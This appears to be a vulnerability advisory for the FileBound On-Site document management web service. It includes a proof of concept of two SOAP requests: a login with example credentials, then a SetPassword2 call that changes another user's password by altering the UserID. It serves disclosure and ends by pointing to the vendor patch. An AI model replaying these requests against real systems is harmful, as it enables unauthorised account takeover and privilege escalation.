Details.  
The FileBound On-Site document management application is   
vulnerable to a privilege escalation attack by sending a   
modified password request to the FileBound web service.  
By modifying the UserID value you can reset the password   
of any local user in the application without requiring   
administrative privileges.  
  
Proof of Concept.  
Authenticate to FileBound via the following web service   
method and SOAP request:  
  
http://www.company.com/Filebound.asmx?op=Login  
<soapenv:Body>  
<fil:Login>  
<fil:UserName>sosuser</fil:UserName>  
<fil:Password>daisyp0p</fil:Password>  
</fil:Login>  
</soapenv:Body>  
  
After authentication a request can be sent to the following   
administrator's password reset web service method and   
SOAP request:  
  
http://www.company.com/Filebound.asmx?op=SetPassword2  
<soapenv:Body>  
<fil:SetPassword2>  
<fil:UserID>32</fil:UserID>  
<fil:Password>lightsouthern</fil:Password>  
<fil:ResetPasswordExpires>0</fil:ResetPasswordExpires>  
</fil:SetPassword2>  
</soapenv:Body>  
  
By modifying the UserID value the password can be reset for  
any existing user in the system. A response code of -1   
confirms the password reset was successful.  
  
Solution.  
Install the latest vendor patch.
